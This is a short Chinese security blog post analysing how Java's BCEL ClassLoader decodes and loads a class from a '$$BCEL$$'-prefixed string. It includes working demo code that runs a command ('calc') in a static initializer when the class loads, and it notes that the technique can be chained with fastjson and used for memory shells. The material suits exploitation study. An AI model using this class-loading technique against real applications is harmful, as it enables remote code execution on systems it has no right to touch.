• 浅看BCEL字节码


    什么是BCEL

    BCEL是位于sun包下的一个项目,是属于Apache Common的一个子项目

    BCEL-LoadClass分析

    demo

    package org.example;
    
    import com.sun.org.apache.bcel.internal.Repository;
    import com.sun.org.apache.bcel.internal.classfile.JavaClass;
    import com.sun.org.apache.bcel.internal.classfile.Utility;
    import com.sun.org.apache.bcel.internal.util.ClassLoader;
    import java.io.IOException;
    
    
    public class Main {
        public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException {
            JavaClass javaClass = Repository.lookupClass(calc.class);
            String code = Utility.encode(javaClass.getBytes(), true);
            System.out.println(code);
            new ClassLoader().loadClass("$$BCEL$$"+code).newInstance();
        }
    }
    
    package org.example;
    
    import java.io.IOException;
    
    public class calc {
        static {
            try {
                Runtime.getRuntime().exec("calc");
            } catch (IOException e) {
                throw new RuntimeException(e);
            }
        }
    }
    

    运行即可弹出计算器

    流程分析

    打个断点进入loadClass,注意这里单步调试是进不去我们要看的ClassLoader的,我们先打个断点,然后手动进去我们要看的com.sun.org.apache.bcel.internal.util.ClassLoader这个,然后在里面打个断点,运行即可

    进去后,这里会判断头是否是$$BCEL$$,是的话进入createClass

    这里对我们的code进行解密,退出返回上一层,进入defineClass
    打进去一看,是原生的defineClass,定义了我们的恶意类,然后newInstance的时候弹计算器
    就这么点?下篇研究下BCEL内存马

    结尾

    BCEL字节码可以结合其它进行利用,例如fastjson


    __EOF__

  • 本文作者: F12
  • 本文链接: https://www.cnblogs.com/f12-blog/p/18108982
  • 关于博主: 评论和私信会在第一时间回复。或者直接私信我。
  • 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
  • 声援博主: 如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。
  • 相关阅读:
    Lua中pair和ipair的区别
    qt的信号阻塞与断开
    linux中的input设备(转)
    web常见的漏洞的分类以及危害
    Mac当作云服务器,你真的会搞吗
    泛微E-Cology CheckServer.jspSQL注入漏洞(QVD-2023-9849) 复现
    Jenkins自动化部署前后端分离项目 (svn + Springboot + Vue + maven)有图详解
    leetcode 剑指offer51:数组中的逆序对 归并排序
    ubuntu18.04安装ros遇到的问题
    粒子滤波PF—从贝叶斯滤波到粒子滤波PF——Part-I(贝叶斯滤波)
  • 原文地址:https://www.cnblogs.com/F12-blog/p/18108982